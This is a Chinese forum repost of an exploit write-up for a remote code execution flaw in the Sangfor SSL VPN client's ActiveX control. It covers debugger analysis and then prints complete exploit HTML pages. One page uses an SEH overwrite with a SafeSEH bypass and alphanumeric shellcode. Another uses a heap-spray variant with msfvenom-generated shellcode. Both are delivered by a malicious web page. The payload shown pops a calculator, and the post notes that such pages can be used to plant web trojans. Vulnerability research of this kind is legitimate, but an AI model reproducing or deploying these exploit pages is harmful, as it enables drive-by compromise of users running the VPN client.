Board logo

标题: 深信服 SSL VPN全版本 远程代码漏洞 [打印本页]

作者: linda    时间: 2016-1-6 15:47     标题: 深信服 SSL VPN全版本 远程代码漏洞

*原创作者:MatrixH

漏洞描述:
通过对某公司的ssl vpn分析,发现其存在远程代码执行漏洞,对于安装该版本ssl vpn的客户,如果访问了我们特意构造的网页,就会导致任意代码执行(挂网马等),致使机器沦陷。
适用环境:xp/win7等。
分析过程:
环境: xp sp3
浏览器: xp sp3 自带的ie6
(安装install程序,程序目录C:\Program Files\Sangfor\SSL)
安装程序:



这里附上安装程序:http://pan.baidu.com/s/1i4oqmP3
一、先用windbg加载poc(c:\11.htm)
在构造poc时,可以直接用个for循环构造个常的字符串,poc代码如下:
<html>
<body>
<object
classid="clsid257CF85-8E97-4C9B-8407-459B28005700"
id="target"></object>
<script>
var buffer =
"AAAAAAAAAAAAAAAAAA";
var temp =
"AAAAAAAAAAAAAAAAAA";
for(var i =
0; i <
1000; i++)    buffer += temp;target.checkRelogin(buffer);
</script>
</body>
</html>但有时为了方便定位异常点的位置,我们需要构造有规律的字符串,
个人在调试时使用的字符串(因为字符串太长,直接贴在文章中太占篇幅,所以以链接方式给出):
https://raw.githubusercontent.com/CodingLi/test/master/exp_buffer
Windbg打开ie


然后g运行程序,出现异常,异常情况如下:
0:000> g(830.fb8):
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.eax=0000004a ebx=022cde82 ecx=0013e140 edx=00140000 esi=0013df00 edi=0013e140eip=77c12332 esp=0013dea0 ebp=0013deac iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202msvcrt!wscanf+0x6c:
77c12332
8802            mov     byte ptr [edx],al          ds:0023:00140000=41
*** ERROR:
Symbol file could not be found.
Defaulted to export symbols for C:\Program Files\Sangfor\SSL\ClientComponent\CSClientManagerPrj.dll -



出现异常后,我们kv 查看异常时的堆栈情况,如上如所示,最后的函数调用过程,CSClientManagerPrj+0x46c0->msvcrt!sprintf+0×31 最后到msvrct!wscanf+0x6c。
CSClientManagerPrj是vpn程序的模块,也是我们可控的地方。猜测出现异常的模块CSClientManagerPrj.dll。
异常处的代码:
0:000> u msvcrt!wscanf+0x6cmsvcrt!wscanf+0x6c:
77c12332
8802            mov     byte ptr [edx],al     //此处发生异常
77c12334 ff01            inc     dword ptr [ecx]
77c12336
0fb6c0          movzx   eax,al77c12339 eb0c            jmp     msvcrt!wscanf+0x81
(77c12347)
77c1233b
0fbec0          movsx   eax,al77c1233e
51              push    ecx77c1233f
50              push    eax77c12340 e818c9ffff      call    msvcrt!_flsbuf (77c0ec5d)使用IDA打开CSClientManagerPrj.dll,定位到偏移0x46c0处,



猜测出现异常可能是因为,字符串长度未做限制,导致在sprintf时出现了问题。
二、使用OD打开poc文件
因为OD的可视化很方便,所以能用OD调试的,个人一般尽量用OD,所以这里我们根据windbg获得的信息,继续使用OD进行跟踪调试。
OD打开文件,然后F9运行,ie弹出ActiveX警告,暂时先不运行,如果这里运行的话,程序就会直接异常,我们就无法下断点进行定位了,
在OD中Ctrl + g 定位到出现异常的代码处,地址:77c12332,也就是调用msvcrt!wscanf+0x6c时的异常所在。



当然你可以看到CSClientManagerPrj+0x46c0处的代码:


不过这对后面的分析已经无关紧要了。
一直F9,执行到:
77c12332
8802            mov     byte ptr [edx],al后,一直F9,会发现我们poc中的字符串被逐个放到内存上(堆栈),在命令行输入db edx,就可以在内存中看到我们字符串:



一边F9一边你观察内存数据变化,在内存数据覆盖到0013ffed时,此时注意慢点执行,在执行几次F9,观察edx的值,当edx值为0014000时,出现异常(即windbg中异常时edx的值)。为什么edx = 0014000时会出现异常呢,我们看下内存:


由上如图可知,140000开始3000大小的内存空间是只读属性,所有:
mov     byte ptr [edx],al时发生了写异常。
由此我们可以判断漏洞形成的原因是:
因为未对字符串的长度做判断,导致在sprintf时字符串覆盖到只读区域,引发了写异常。
三、漏洞利用:
由上分析可以,造成漏洞的原因并不是字符串过长覆盖函数返回地址,而是覆盖了到了只读区域,出现内存写异常。
在F9执行:
77c12332
8802            mov     byte ptr [edx],al因为程序异常并不是字符串覆盖返回地址造成的,所以我们不能通过控制函数的返回地址来执行我们的shellcode。
因为出现了异常,我们要看看异常处理函数,我们可以翻看下堆栈附近的变化:



可知字符串覆盖了异常栈上的异常处理链。OD产看seh链:



可知覆盖的异常处理正是当前函数异常时对应的异常处理函数。因为异常处理函数地址是程序发生异常时要执行的地方,
所以我们可以通过控制字符串在异常处理函数处覆盖我们想要执行的代码,以达到控制程序流程,最终执行我们的shellcode。
知道程序异常原因,定位了异常处理处,剩下的就是构造堆栈数据了。

因为在xp sp3下需绕过safeseh,构造堆栈数据如下:



在调试跟踪时,发现大于7f的数据在复制到内存中时,会发生变化,即非可见字符是不能被target.checkRelogin(buffer)
直接存放到内存中的,猜测可能是字符在ascii ->unicode->ascii时发生了变化,所以在构造堆栈时,所有数据都必须是小于7f的即可见字符。

使用OD查找程序中No SafeSeh 的模块。


EasyConnect vpn的几个模块都是关闭SafeSeh的。使用Ollyfindaddr查找pop pop ret
查找结果很多,从中选择一个全小于7f的地址:
10013439  FoundOP EDI POP ESI  RETN at 0x10013439     Module:  C:\Program Files\Sangfor\SSL\ClientComponent\SSOClientPrj.dll由于数据要小于7f,所以jmp 06 (eb 06)也不能使用了,为了能保证程序跳到我们的shellcode,这里使用jnz 06 jz 04(75 06 74 04):



我们这里使用弹框计算器的shellcode,
Shellcode(针对seh利用):
"LLLL\\XXXXXLD"
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABu"
"JIylKXK2Wp5PWpapmYYu4qyP54LK2p00Nk62TLlKrrVtlKPrQ86"
"ox7QZq6UaYoll5l3QcLuR4lWPyQ8OvmuQO7irjRqBsglKF2TPnkp"
"JgLLKRlvqbXysSxS1XQpQLKCiWPC1KcLK2iTXM36Z0IlKwDLKuQHV"
"p1kOLlzaHO6mUQjgP8ipPuxvs3SMl8WKcMwTRU9tbxLKF8Q4fakc3V"
"lK6lBkLKShULfan3LKs4nk6aN0mY3ttdUtqKsk1qrypZbqIoKPQO3oQ"
"JNkTRZKNmCmSZwqlMlEX2Wpc0UP0PRHfQLKROowKOKeoKzPnUMr3f1xm"
"vnuOMMMkOn5GLc6qlgzopykkPbU4EoK77TSbRpopjwp0SYoZu1sSQplE3tnpeSH3UgpA";poc.html:
<html>
<body>
<object
classid="clsid257CF85-8E97-4C9B-8407-459B28005700"
id="target"></object>
<script>
var buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5A";buffer +=
"d6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0A";buffer += unescape("%75%06%74%04");buffer += unescape("%39%34%01%10");buffer +=
"LLLL\\XXXXXLD";buffer +=
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylKXK2Wp5PWpapmYYu4qyP54LK2p00Nk62TLlKrrVtlKPrQ86ox7QZq6UaYoll5l3QcLuR4lWPyQ8OvmuQO7irjRqBsglKF2TPnkpJgLLKRlvqbXysSxS1XQpQLKCiWPC1KcLK2iTXM36Z0IlKwDLKuQHVp1kOLlzaHO6mUQjgP8ipPuxvs3SMl8WKcMwTRU9tbxLKF8Q4fakc3VlK6lBkLKShULfan3LKs4nk6aN0mY3ttdUtqKsk1qrypZbqIoKPQO3oQJNkTRZKNmCmSZwqlMlEX2Wpc0UP0PRHfQLKROowKOKeoKzPnUMr3f1xmvnuOMMMkOn5GLc6qlgzopykkPbU4EoK77TSbRpopjwp0SYoZu1sSQplE3tnpeSH3UgpA";
var temp =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
for(var i =
0; i <
1000; i++)    buffer += temp;target.checkRelogin(buffer);
</script>
</body>
</html>测试效果见:


Ps:后来想想关于shellcode的构造,其实也不必非要是可见字符的shellcode,使用HeapSpray的话,不会通过target.checkRelogin(buffer)函数向内存中填充字符了。
也就避免了可见字符构造的问题。使用msfvenom生成弹计算器的shellcode,构造HeapSpray利用方式的poc如下:

<html>
<body>
<object
classid="clsid257CF85-8E97-4C9B-8407-459B28005700"
id="target"></object>
<script>
var nop =
"\u9090\u9090";
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018b\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5\u7c06\u800a\ue0fb\u0575\u47bb\u7213\u6a6f\u5300\ud5ff\u6163\u636c\u652e\u6578\u4100";
while(nop.length <=
0x100000/2)
{    nop += nop;
}nop = nop.substring(0,
0x100000/2
-
32/2
-
4/2
- shellcode.length -
2/2);
var slide =
new
Array();
for(var i =
0; i <
200; i++)
{    slide
= nop + shellcode}
var buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5A";buffer +=
"d6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0A";buffer +=
"nseh";buffer += unescape("%0c%0c%0c%0c");
var temp =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
for(var i =
0; i <
1000; i++)    buffer += temp;target.checkRelogin(buffer);
</script>
</body>
</html>* 作者:MatrixH,本文属FreeBuf原创奖励计划文章
原文链接:http://www.freebuf.com/vuls/91861.html


[ 本帖最后由 linda 于 2016-2-3 18:33 编辑 ]




欢迎光临 中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/) Powered by Discuz! 6.0.0